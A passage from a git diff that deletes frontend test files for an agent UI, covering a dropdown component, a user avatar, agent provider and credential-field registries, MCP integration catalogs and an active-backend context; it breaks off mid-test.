expect(screen.queryByText("TERMINAL$NO_OUTPUT")).not.toBeInTheDocument(); - expect(screen.getByTestId("runtime-waiting")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/ui/dropdown.test.tsx b/__tests__/components/ui/dropdown.test.tsx deleted file mode 100644 index edec8ba49..000000000 --- a/__tests__/components/ui/dropdown.test.tsx +++ /dev/null @@ -1,429 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, vi } from "vitest"; -import { Dropdown } from "#/ui/dropdown/dropdown"; - -const mockOptions = [ - { value: "1", label: "Option 1" }, - { value: "2", label: "Option 2" }, - { value: "3", label: "Option 3" }, -]; - -describe("Dropdown", () => { - describe("Trigger", () => { - it("should render a custom trigger button", () => { - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - - expect(trigger).toBeInTheDocument(); - }); - - it("should open dropdown on trigger click", async () => { - const user = userEvent.setup(); - render(); - - expect(screen.queryByText("Option 1")).not.toBeInTheDocument(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - const listbox = screen.getByRole("listbox"); - expect(listbox).toBeInTheDocument(); - expect(screen.getByText("Option 1")).toBeInTheDocument(); - expect(screen.getByText("Option 2")).toBeInTheDocument(); - expect(screen.getByText("Option 3")).toBeInTheDocument(); - }); - }); - - describe("Type-ahead / Search", () => { - it("should filter options based on input text", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - const input = screen.getByRole("combobox"); - await user.type(input, "Option 1"); - - expect(screen.getByText("Option 1")).toBeInTheDocument(); - expect(screen.queryByText("Option 2")).not.toBeInTheDocument(); - expect(screen.queryByText("Option 3")).not.toBeInTheDocument(); - }); - - it("should be case-insensitive by default", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - const input = screen.getByRole("combobox"); - await user.type(input, "option 1"); - - expect(screen.getByText("Option 1")).toBeInTheDocument(); - expect(screen.queryByText("Option 2")).not.toBeInTheDocument(); - }); - - it("should show all options when search is cleared", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - const input = screen.getByRole("combobox"); - await user.type(input, "Option 1"); - await user.clear(input); - - expect(screen.getByText("Option 1")).toBeInTheDocument(); - expect(screen.getByText("Option 2")).toBeInTheDocument(); - expect(screen.getByText("Option 3")).toBeInTheDocument(); - }); - }); - - describe("Empty state", () => { - it("should display empty state when no options provided", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - expect(screen.getByText("No options")).toBeInTheDocument(); - }); - - it("should render custom empty state message", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - expect(screen.getByText("Nothing found")).toBeInTheDocument(); - }); - }); - - describe("Single selection", () => { - it("should select an option on click", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - const option = screen.getByText("Option 1"); - await user.click(option); - - expect(screen.getByRole("combobox")).toHaveValue("Option 1"); - }); - - it("should close dropdown after selection", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - await user.click(screen.getByText("Option 1")); - - expect(screen.queryByText("Option 2")).not.toBeInTheDocument(); - }); - - it("should display selected option in input", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - await user.click(screen.getByText("Option 1")); - - expect(screen.getByRole("combobox")).toHaveValue("Option 1"); - }); - - it("should highlight currently selected option in list", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - await user.click(screen.getByRole("option", { name: "Option 1" })); - - await user.click(trigger); - - const selectedOption = screen.getByRole("option", { name: "Option 1" }); - expect(selectedOption).toHaveAttribute("aria-selected", "true"); - }); - - it("should clear the search input and show all options when reopening dropdown", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - await user.click(screen.getByRole("option", { name: "Option 1" })); - - // Reopen the dropdown - await user.click(trigger); - - const input = screen.getByRole("combobox"); - expect(input).toHaveValue(""); - expect( - screen.getByRole("option", { name: "Option 1" }), - ).toBeInTheDocument(); - expect( - screen.getByRole("option", { name: "Option 2" }), - ).toBeInTheDocument(); - expect( - screen.getByRole("option", { name: "Option 3" }), - ).toBeInTheDocument(); - }); - }); - - describe("Clear button", () => { - it("should not render clear button by default", () => { - render(); - - expect(screen.queryByTestId("dropdown-clear")).not.toBeInTheDocument(); - }); - - it("should render clear button when clearable prop is true and has value", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - await user.click(screen.getByRole("option", { name: "Option 1" })); - - expect(screen.getByTestId("dropdown-clear")).toBeInTheDocument(); - }); - - it("should clear selection and search input when clear button is clicked", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - await user.click(screen.getByRole("option", { name: "Option 1" })); - - const clearButton = screen.getByTestId("dropdown-clear"); - await user.click(clearButton); - - expect(screen.getByRole("combobox")).toHaveValue(""); - }); - - it("should not render clear button when there is no selection", () => { - render(); - - expect(screen.queryByTestId("dropdown-clear")).not.toBeInTheDocument(); - }); - - it("should show placeholder after clearing selection", async () => { - const user = userEvent.setup(); - render( - , - ); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - await user.click(screen.getByRole("option", { name: "Option 1" })); - - const clearButton = screen.getByTestId("dropdown-clear"); - await user.click(clearButton); - - const input = screen.getByRole("combobox"); - expect(input).toHaveValue(""); - }); - }); - - describe("Loading state", () => { - it("should not display loading indicator by default", () => { - render(); - - expect(screen.queryByTestId("dropdown-loading")).not.toBeInTheDocument(); - }); - - it("should display loading indicator when loading prop is true", () => { - render(); - - expect(screen.getByTestId("dropdown-loading")).toBeInTheDocument(); - }); - - it("should disable interaction while loading", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - expect(trigger).toHaveAttribute("aria-expanded", "false"); - }); - }); - - describe("Disabled state", () => { - it("should not open dropdown when disabled", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - expect(trigger).toHaveAttribute("aria-expanded", "false"); - }); - - it("should have disabled attribute on trigger", () => { - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - expect(trigger).toBeDisabled(); - }); - }); - - describe("Placeholder", () => { - it("should display placeholder text when no value selected", () => { - render(); - - const input = screen.getByRole("combobox"); - expect(input).toHaveAttribute("placeholder", "Select an option"); - }); - }); - - describe("Default value", () => { - it("should display defaultValue in input on mount", () => { - render(); - - const input = screen.getByRole("combobox"); - expect(input).toHaveValue("Option 1"); - }); - - it("should show all options when opened with defaultValue", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - expect( - screen.getByRole("option", { name: "Option 1" }), - ).toBeInTheDocument(); - expect( - screen.getByRole("option", { name: "Option 2" }), - ).toBeInTheDocument(); - expect( - screen.getByRole("option", { name: "Option 3" }), - ).toBeInTheDocument(); - }); - - it("should restore input value when closed with Escape", async () => { - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - const input = screen.getByRole("combobox"); - await user.type(input, "test"); - await user.keyboard("{Escape}"); - - expect(input).toHaveValue("Option 1"); - }); - }); - - describe("onChange", () => { - it("should call onChange with selected item when option is clicked", async () => { - const user = userEvent.setup(); - const onChangeMock = vi.fn(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - await user.click(screen.getByRole("option", { name: "Option 1" })); - - expect(onChangeMock).toHaveBeenCalledWith(mockOptions[0]); - }); - - it("should call onChange with null when selection is cleared", async () => { - const user = userEvent.setup(); - const onChangeMock = vi.fn(); - render( - , - ); - - const clearButton = screen.getByTestId("dropdown-clear"); - await user.click(clearButton); - - expect(onChangeMock).toHaveBeenCalledWith(null); - }); - }); - - describe("Controlled mode", () => { - it.todo("should reflect external value changes"); - it.todo("should call onChange when selection changes"); - it.todo("should not update internal state when controlled"); - }); - - describe("Uncontrolled mode", () => { - it.todo("should manage selection state internally"); - it.todo("should call onChange when selection changes"); - it.todo("should support defaultValue prop"); - }); - - describe("testId prop", () => { - it("should apply custom testId to the root container", () => { - render(); - - expect(screen.getByTestId("org-dropdown")).toBeInTheDocument(); - }); - }); - - describe("Cursor position preservation", () => { - it("should keep menu open when clicking the input while dropdown is open", async () => { - // Without a stateReducer, Downshift's default InputClick behavior - // toggles the menu (closes it if already open). The stateReducer - // should override this to keep the menu open so users can click - // to reposition their cursor without losing the dropdown. - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - // Menu should be open - expect(screen.getByText("Option 1")).toBeInTheDocument(); - - // Click the input itself (simulates clicking to reposition cursor) - const input = screen.getByRole("combobox"); - await user.click(input); - - // Menu should still be open — not toggled closed - expect(screen.getByText("Option 1")).toBeInTheDocument(); - }); - - it("should still filter options correctly after typing with cursor fix", async () => { - // Verifies that the direct onChange handler (which bypasses Downshift's - // default onInputValueChange for cursor preservation) still updates - // the search/filter state correctly. - const user = userEvent.setup(); - render(); - - const trigger = screen.getByTestId("dropdown-trigger"); - await user.click(trigger); - - const input = screen.getByRole("combobox"); - await user.type(input, "Option 1"); - - expect(screen.getByText("Option 1")).toBeInTheDocument(); - expect(screen.queryByText("Option 2")).not.toBeInTheDocument(); - expect(screen.queryByText("Option 3")).not.toBeInTheDocument(); - }); - }); -}); diff --git a/__tests__/components/user-avatar.test.tsx b/__tests__/components/user-avatar.test.tsx deleted file mode 100644 index 534456761..000000000 --- a/__tests__/components/user-avatar.test.tsx +++ /dev/null @@ -1,42 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it } from "vitest"; -import { UserAvatar } from "#/components/features/sidebar/user-avatar"; - -describe("UserAvatar", () => { - it("(default) should render the placeholder avatar when the user is logged out", () => { - render(); - expect(screen.getByTestId("user-avatar")).toBeInTheDocument(); - expect( - screen.getByLabelText("USER$AVATAR_PLACEHOLDER"), - ).toBeInTheDocument(); - }); - - it("should display the user's avatar when available", () => { - render(); - - expect(screen.getByAltText("AVATAR$ALT_TEXT")).toBeInTheDocument(); - expect( - screen.queryByLabelText("USER$AVATAR_PLACEHOLDER"), - ).not.toBeInTheDocument(); - }); - - it("should display a loading spinner instead of an avatar when isLoading is true", () => { - const { rerender } = render(); - expect(screen.queryByTestId("loading-spinner")).not.toBeInTheDocument(); - expect( - screen.getByLabelText("USER$AVATAR_PLACEHOLDER"), - ).toBeInTheDocument(); - - rerender(); - expect(screen.getByTestId("loading-spinner")).toBeInTheDocument(); - expect( - screen.queryByLabelText("USER$AVATAR_PLACEHOLDER"), - ).not.toBeInTheDocument(); - - rerender( - , - ); - expect(screen.getByTestId("loading-spinner")).toBeInTheDocument(); - expect(screen.queryByAltText("AVATAR$ALT_TEXT")).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/constants/acp-providers.test.ts b/__tests__/constants/acp-providers.test.ts deleted file mode 100644 index ca65e08aa..000000000 --- a/__tests__/constants/acp-providers.test.ts +++ /dev/null @@ -1,285 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { getAcpProvider as getClientAcpProvider } from "@openhands/typescript-client"; -import { - ACP_CUSTOM_PRESET_KEY, - ACP_PROVIDERS, - ACP_VERTEX_SAFE_MODEL, - buildAcpAgentSettingsDiff, - getAcpCredentialConflicts, - getAcpPreferredDefaultModel, - getAcpProvider, - getAcpProviderDisplayName, - getAcpProviderSecrets, -} from "#/constants/acp-providers"; - -describe("getAcpProviderDisplayName", () => { - it("resolves the three built-in registry keys to their human names", () => { - expect(getAcpProviderDisplayName("claude-code")).toBe("Claude Code"); - expect(getAcpProviderDisplayName("codex")).toBe("Codex"); - expect(getAcpProviderDisplayName("gemini-cli")).toBe("Gemini CLI"); - }); - - it("returns null for the Custom-command preset so callers can fall back to the generic 'ACP' label", () => { - // The custom preset has no canonical brand name — the registry - // resolver intentionally returns null so the conversation card renders - // ``CONVERSATION$ACP_AGENT_GENERIC`` ("ACP") instead. - expect(getAcpProviderDisplayName("custom")).toBeNull(); - }); - - it("returns null for unknown / forward-compatible keys", () => { - // A future ACP server Canvas's registry doesn't know about yet - // shouldn't crash or render a random fragment of the key — fall back - // to the generic chip. - expect(getAcpProviderDisplayName("future-acp-server")).toBeNull(); - }); - - it("returns null for empty / null / undefined input", () => { - expect(getAcpProviderDisplayName(null)).toBeNull(); - expect(getAcpProviderDisplayName(undefined)).toBeNull(); - expect(getAcpProviderDisplayName("")).toBeNull(); - }); -}); - -describe("ACP provider registry", () => { - it("sources display_name / default_command / models from the SDK, not a local mirror", () => { - // Core invariant of agent-canvas#678: the registry data fields must come - // straight from @openhands/typescript-client's getAcpProvider(), so the - // Python SDK stays the single source of truth. Only the UI-only overlay - // (icon + description_key) is layered on locally. - for (const provider of ACP_PROVIDERS) { - const sdk = getClientAcpProvider(provider.key); - expect(sdk, provider.key).not.toBeNull(); - expect(provider.display_name).toBe(sdk!.display_name); - expect(provider.default_command).toEqual([...sdk!.default_command]); - expect(provider.available_models).toEqual( - sdk!.available_models.map((m) => ({ id: m.id, label: m.label })), - ); - expect(provider.default_model).toBe(sdk!.default_model ?? undefined); - // UI-only overlay stays local. - expect(provider.icon).toBeTruthy(); - expect(provider.description_key).toBeTruthy(); - } - }); - - it("keeps every built-in default model in the UX suggestions", () => { - for (const provider of ACP_PROVIDERS) { - expect(provider.default_model, provider.key).toBeTruthy(); - expect(provider.available_models, provider.key).toBeTruthy(); - expect( - provider.available_models?.some( - (model) => model.id === provider.default_model, - ), - provider.key, - ).toBe(true); - } - }); - - it("does not suggest generic default model placeholders", () => { - // Model lists are SDK-owned (see ACP_PROVIDERS) — Canvas no longer hand-keeps - // them. The claude-code registry intentionally offers an id ``default`` - // labeled "Default (recommended)", a legitimate, well-labeled choice. Guard - // against genuinely empty ids and bare placeholder labels, not the qualified - // "Default (recommended)" entry. - for (const provider of ACP_PROVIDERS) { - for (const model of provider.available_models ?? []) { - expect(model.id.trim(), provider.key).toBeTruthy(); - expect( - model.label.trim().toLowerCase(), - `${provider.key}:${model.id}`, - ).not.toBe("default"); - } - } - }); - - it("seeds built-in ACP diffs with the provider's preferred default model", () => { - // Preferred default = registry default everywhere except Gemini, where - // the Vertex-safe override applies (see getAcpPreferredDefaultModel) — - // EVERY default-model surface must agree on this, including this diff - // builder's fallback. - for (const provider of ACP_PROVIDERS) { - expect(buildAcpAgentSettingsDiff(provider.key)).toMatchObject({ - agent_kind: "acp", - acp_server: provider.key, - acp_model: getAcpPreferredDefaultModel(provider.key), - }); - } - expect(buildAcpAgentSettingsDiff("gemini-cli")).toMatchObject({ - acp_model: ACP_VERTEX_SAFE_MODEL, - }); - }); - - it("keeps custom ACP diffs model-optional", () => { - expect(buildAcpAgentSettingsDiff(ACP_CUSTOM_PRESET_KEY)).toMatchObject({ - agent_kind: "acp", - acp_server: ACP_CUSTOM_PRESET_KEY, - acp_model: null, - }); - }); -}); - -describe("getAcpProviderSecrets — containerized credentials", () => { - // These are the credentials a fresh container (no host login) needs, sourced - // from the validated container contract (agent-canvas#1013/#1014) — if a - // refactor drops one, ACP auth in a container silently breaks, so assert - // each provider's exact field set. - it("collects the subscription cred, api key, then base URL — in that order — for Codex", () => { - const names = getAcpProviderSecrets("codex").map((f) => f.name); - expect(names).toEqual([ - "CODEX_AUTH_JSON", - "OPENAI_API_KEY", - "OPENAI_BASE_URL", - ]); - }); - - it("collects the OAuth token + api key for Claude Code", () => { - const names = getAcpProviderSecrets("claude-code").map((f) => f.name); - expect(names).toEqual([ - "CLAUDE_CODE_OAUTH_TOKEN", - "ANTHROPIC_API_KEY", - "ANTHROPIC_BASE_URL", - ]); - }); - - it("collects the Vertex SA JSON + project/location/flag for Gemini CLI", () => { - const names = getAcpProviderSecrets("gemini-cli").map((f) => f.name); - expect(names).toEqual([ - "GOOGLE_APPLICATION_CREDENTIALS_JSON", - "GOOGLE_CLOUD_PROJECT", - "GOOGLE_CLOUD_LOCATION", - "GOOGLE_GENAI_USE_VERTEXAI", - "GEMINI_API_KEY", - "GEMINI_BASE_URL", - ]); - }); - - it("renders file-content blobs as multiline secret fields", () => { - // ``multiline`` also drives the orphaned-credential warning on backends - // that can't materialise file secrets (cloud, agent-canvas#1016). - const codexBlob = getAcpProviderSecrets("codex").find( - (f) => f.name === "CODEX_AUTH_JSON", - ); - expect(codexBlob).toMatchObject({ multiline: true, secret: true }); - - const geminiBlob = getAcpProviderSecrets("gemini-cli").find( - (f) => f.name === "GOOGLE_APPLICATION_CREDENTIALS_JSON", - ); - expect(geminiBlob).toMatchObject({ multiline: true, secret: true }); - }); - - it("never marks the base URL as a credential (not secret, not multiline)", () => { - // ``secret`` is what a required credential step counts as an actual - // credential — a base URL alone can't authenticate, and ANTHROPIC_BASE_URL - // alongside a Claude OAuth token actively breaks bearer auth. - for (const key of ["codex", "claude-code", "gemini-cli"]) { - const baseUrl = getAcpProviderSecrets(key).find((f) => - f.name.endsWith("_BASE_URL"), - ); - expect(baseUrl?.secret, key).toBeFalsy(); - expect(baseUrl?.multiline, key).toBeFalsy(); - } - }); - - it("returns [] for OpenHands / custom / unknown / empty", () => { - expect(getAcpProviderSecrets("openhands")).toEqual([]); - expect(getAcpProviderSecrets(ACP_CUSTOM_PRESET_KEY)).toEqual([]); - expect(getAcpProviderSecrets("future-acp-server")).toEqual([]); - expect(getAcpProviderSecrets(null)).toEqual([]); - }); -}); - -describe("getAcpPreferredDefaultModel", () => { - it("overrides Gemini with the Vertex-safe model rather than the registry default", () => { - // gemini-cli's own default 404s on many Vertex projects; canvas preselects - // a broadly-available model instead. - expect(getAcpPreferredDefaultModel("gemini-cli")).toBe( - ACP_VERTEX_SAFE_MODEL, - ); - expect(getAcpPreferredDefaultModel("gemini-cli")).not.toBe( - getAcpProvider("gemini-cli")?.default_model, - ); - }); - - it("pins a NON-flash Gemini model", () => { - // gemini-cli 0.45.x re-resolves any *-flash id at generation time to its - // current default flash (software-agent-sdk#3532), so a flash pin is not - // honored — only a non-flash id (e.g. gemini-2.5-pro) sticks. - expect(ACP_VERTEX_SAFE_MODEL).not.toMatch(/flash/); - }); - - it("keeps the registry default for the other providers", () => { - expect(getAcpPreferredDefaultModel("codex")).toBe( - getAcpProvider("codex")?.default_model, - ); - expect(getAcpPreferredDefaultModel("claude-code")).toBe( - getAcpProvider("claude-code")?.default_model, - ); - }); - - it("returns null for OpenHands / custom / unknown", () => { - expect(getAcpPreferredDefaultModel("openhands")).toBeNull(); - expect(getAcpPreferredDefaultModel(ACP_CUSTOM_PRESET_KEY)).toBeNull(); - expect(getAcpPreferredDefaultModel("future-acp-server")).toBeNull(); - }); -}); - -describe("getAcpCredentialConflicts", () => { - const has = - (...names: string[]) => - (name: string) => - names.includes(name); - - it("flags the Claude OAuth token + base URL pair when both are set", () => { - expect( - getAcpCredentialConflicts( - "claude-code", - has("CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL"), - ), - ).toEqual([["CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL"]]); - }); - - it("flags the Claude OAuth token + API key pair when both are set", () => { - // The SDK strips ANTHROPIC_API_KEY when the OAuth token is active - // (software-agent-sdk#3588), so the key would be silently ignored. - expect( - getAcpCredentialConflicts( - "claude-code", - has("CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_API_KEY"), - ), - ).toEqual([["CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_API_KEY"]]); - }); - - it("flags both pairs when the token, API key, and base URL are all set", () => { - expect( - getAcpCredentialConflicts( - "claude-code", - has( - "CLAUDE_CODE_OAUTH_TOKEN", - "ANTHROPIC_API_KEY", - "ANTHROPIC_BASE_URL", - ), - ), - ).toEqual([ - ["CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_API_KEY"], - ["CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL"], - ]); - }); - - it("stays quiet when only one side is set", () => { - expect( - getAcpCredentialConflicts("claude-code", has("CLAUDE_CODE_OAUTH_TOKEN")), - ).toEqual([]); - expect( - getAcpCredentialConflicts("claude-code", has("ANTHROPIC_BASE_URL")), - ).toEqual([]); - }); - - it("has no conflicts for other providers / null", () => { - expect( - getAcpCredentialConflicts( - "codex", - has("CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL"), - ), - ).toEqual([]); - expect(getAcpCredentialConflicts(null, () => true)).toEqual([]); - }); -}); diff --git a/__tests__/constants/extensions-catalogs.test.ts b/__tests__/constants/extensions-catalogs.test.ts deleted file mode 100644 index 985a09ed9..000000000 --- a/__tests__/constants/extensions-catalogs.test.ts +++ /dev/null @@ -1,78 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { AUTOMATION_CATALOG } from "@openhands/extensions/automations"; -import { INTEGRATION_CATALOG } from "@openhands/extensions/integrations"; -import { - getDefaultMcpTransport, - getInstallableMcpConnectionOption, - getMcpMarketplaceCatalog, -} from "#/utils/mcp-marketplace-utils"; - -describe("OpenHands extensions catalogs", () => { - it("hydrates the MCP marketplace from @openhands/extensions", () => { - expect(INTEGRATION_CATALOG.length).toBeGreaterThan(0); - - const github = INTEGRATION_CATALOG.find((entry) => entry.id === "github"); - expect(getDefaultMcpTransport(github!)?.kind).toBe("shttp"); - expect(github?.logoUrl).toBe("https://cdn.simpleicons.org/github/FFFFFF"); - }); - - it("patches Slack to the maintained docs and npm package", () => { - const slack = INTEGRATION_CATALOG.find((entry) => entry.id === "slack"); - expect(slack?.docsUrl).toBe( - "https://github.com/zencoderai/slack-mcp-server", - ); - const apiOption = slack?.connectionOptions.find( - (option) => option.id === "api" && option.transport?.kind === "stdio", - ); - expect(apiOption?.transport?.kind).toBe("stdio"); - if (apiOption?.transport?.kind !== "stdio") { - throw new Error("Slack API option should be stdio"); - } - expect(apiOption.transport.args).toContain("@zencoderai/slack-mcp-server"); - expect(apiOption.transport.args).not.toContain( - "@modelcontextprotocol/server-slack", - ); - }); - - it("loads Linear streamable HTTP /mcp endpoint with bearer auth", () => { - const catalog = getMcpMarketplaceCatalog(INTEGRATION_CATALOG); - const linear = catalog.find((entry) => entry.id === "linear")!; - - const mcpOption = getInstallableMcpConnectionOption(linear)!; - - expect(mcpOption.transport).toEqual({ - kind: "shttp", - url: "https://mcp.linear.app/mcp", - apiKeyOptional: true, - }); - expect(linear.docsUrl).toBe("https://linear.app/docs/mcp"); - expect(mcpOption.auth.strategy).toBe("bearer"); - expect( - linear.connectionOptions.some((option) => option.transport?.kind === "sse"), - ).toBe(false); - }); - - it("drops deprecated MCP entries that no longer have maintained replacements", () => { - const catalogIds = new Set( - getMcpMarketplaceCatalog(INTEGRATION_CATALOG).map((entry) => entry.id), - ); - - expect(catalogIds.has("gitlab")).toBe(false); - expect(catalogIds.has("google-maps")).toBe(false); - expect(catalogIds.has("postgres")).toBe(false); - expect(catalogIds.has("puppeteer")).toBe(false); - expect(catalogIds.has("sqlite")).toBe(false); - }); - - it("loads recommended automations from @openhands/extensions", () => { - expect(AUTOMATION_CATALOG.length).toBeGreaterThan(0); - - const knownMcpIds = new Set(INTEGRATION_CATALOG.map((entry) => entry.id)); - for (const automation of AUTOMATION_CATALOG) { - expect(automation.requiredIntegrationIds.length).toBeGreaterThan(0); - expect( - automation.requiredIntegrationIds.every((id) => knownMcpIds.has(id)), - ).toBe(true); - } - }); -}); diff --git a/__tests__/contexts/active-backend-context.test.tsx b/__tests__/contexts/active-backend-context.test.tsx deleted file mode 100644 index 8a0211ef9..000000000 --- a/__tests__/contexts/active-backend-context.test.tsx +++ /dev/null @@ -1,259 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { act, render, renderHook } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - NO_BACKEND_ID, -} from "#/api/backend-registry/active-store"; -import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend"; -import { MAX_CONSECUTIVE_FAILURES } from "#/api/backend-registry/health-storage"; -import { - __resetHealthStoreForTests, - getBackendHealthEntry, - recordBackendFailure, -} from "#/api/backend-registry/health-store"; -import { - ActiveBackendProvider, - useActiveBackendContext, -} from "#/contexts/active-backend-context"; - -function makeWrapper(queryClient = new QueryClient()) { - function Wrapper({ children }: { children: React.ReactNode }) { - return ( - - {children} - - ); - } - return Wrapper; -} - -beforeEach(() => { - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000"); - vi.stubEnv("VITE_SESSION_API_KEY", "session-key"); - __resetActiveStoreForTests(); - __resetHealthStoreForTests(); -}); - -afterEach(() => { - window.localStorage.clear(); - vi.unstubAllEnvs(); - __resetActiveStoreForTests(); - __resetHealthStoreForTests(); -}); - -describe("ActiveBackendProvider", () => { - it("seeds the default local backend on first read and treats it as active", () => { - const { result } = renderHook(() => useActiveBackendContext(), { - wrapper: makeWrapper(), - }); - - expect(result.current.active.backend.id).toBe(SEEDED_DEFAULT_BACKEND_ID); - expect(result.current.backends).toHaveLength(1); - expect(result.current.backends[0]).toMatchObject({ - id: SEEDED_DEFAULT_BACKEND_ID, - kind: "local", - }); - }); - - it("addBackend persists and exposes the new backend alongside the seeded default", () => { - const { result } = renderHook(() => useActiveBackendContext(), { - wrapper: makeWrapper(), - }); - - act(() => { - result.current.addBackend({ - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-1", - kind: "cloud", - }); - }); - - // Seed entry plus the new one. - expect(result.current.backends).toHaveLength(2); - expect( - result.current.backends.find((b) => b.name === "Production"), - ).toMatchObject({ - name: "Production", - kind: "cloud", - }); - }); - - // @spec BM-001 — Auto-switch to newly connected backend - it("addBackend automatically switches the active backend to the newly added one", () => { - const { result } = renderHook(() => useActiveBackendContext(), { - wrapper: makeWrapper(), - }); - - expect(result.current.active.backend.id).toBe(SEEDED_DEFAULT_BACKEND_ID); - - let added: { id: string } | null = null; - act(() => { - added = result.current.addBackend({ - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", - }); - }); - - expect(result.current.active.backend.id).toBe(added!.id); - // Previous backends remain in the registry. - expect(result.current.backends).toHaveLength(2); - expect( - result.current.backends.find((b) => b.id === SEEDED_DEFAULT_BACKEND_ID), - ).toBeDefined(); - }); - - it("setActive switches the active backend without touching unrelated React Query cache entries", () => { - const queryClient = new QueryClient(); - queryClient.setQueryData(["dummy"], { value: 1 }); - - const { result } = renderHook(() => useActiveBackendContext(), { - wrapper: makeWrapper(queryClient), - }); - - let added: { id: string } | null = null; - act(() => { - added = result.current.addBackend({ - name: "Local 1", - host: "http://localhost:9000", - apiKey: "key-1", - kind: "local", - }); - }); - - act(() => { - result.current.setActive(added!.id); - }); - - expect(result.current.active.backend.id).toBe(added!.id); - // No blanket cache mutation: long-lived hooks include the active - // backend identity in their query keys, so refetches happen via - // key change rather than via an explicit invalidate from setActive. - const dummyState = queryClient.getQueryState(["dummy"]); - expect(dummyState?.isInvalidated).toBe(false); - expect(queryClient.getQueryData(["dummy"])).toEqual({ value: 1 }); - }); - - // @spec BM-003 — Fallback on active backend removal - it("removeBackend falls back to the seeded default when the active backend is removed", () => { - const { result } = renderHook(() => useActiveBackendContext(), { - wrapper: makeWrapper(), - }); - - let id = ""; - act(() => { - id = result.current.addBackend({ - name: "Local 1", - host: "http://localhost:9000", - apiKey: "k", - kind: "local", - }).id; - }); - - act(() => { - result.current.setActive(id); - }); - expect(result.current.active.backend.id).toBe(id); - - act(() => { - result.current.removeBackend(id); - }); - expect(result.current.active.backend.id).toBe(SEEDED_DEFAULT_BACKEND_ID); - expect(result.current.backends).toHaveLength(1); - expect(result.current.backends[0].id).toBe(SEEDED_DEFAULT_BACKEND_ID); - }); - - // @spec BM-003 — Fallback on active backend removal - it("removeBackend allows removing the seeded default and falls back to no backend", () => { - const { result } = renderHook(() => useActiveBackendContext(), { - wrapper: makeWrapper(), - }); - - expect(result.current.backends).toHaveLength(1); - - act(() => { - result.current.removeBackend(SEEDED_DEFAULT_BACKEND_ID); - }); - - expect(result.current.backends).toEqual([]); - expect(result.current.active.backend.id).toBe(NO_BACKEND_ID); - }); - - it("throws if used outside the provider", () => { - function HookConsumer() { - useActiveBackendContext(); - return null; - } - const errorSpy = vi.spyOn(console, "error").mockImplementation(() => {}); - expect(() => render()).toThrow(/ActiveBackendProvider/); - errorSpy.mockRestore(); - }); - - it("updateBackend re-arms health polling when host or apiKey changes but leaves cosmetic edits alone", () => { - // Arrange — register a backend that has hit the failure cap. - const { result } = renderHook(() => useActiveBackendContext(), { - wrapper: makeWrapper(), - }); - - let id = ""; - act(() => { - id = result.current.addBackend({ - name: "Stale", - host: "http://localhost:9000", - apiKey: "old-key", - kind: "local", - }).id; - }); - for (let i = 0; i < MAX_CONSECUTIVE_FAILURES; i += 1) { - recordBackendFailure(id, new Error("timeout")); - } - expect(getBackendHealthEntry(id)?.disabled).toBe(true); - - // Act — renaming is cosmetic; it must NOT silently re-enable - // polling against an unreachable backend. - act(() => { - result.current.updateBackend(id, { name: "Renamed" }); - }); - 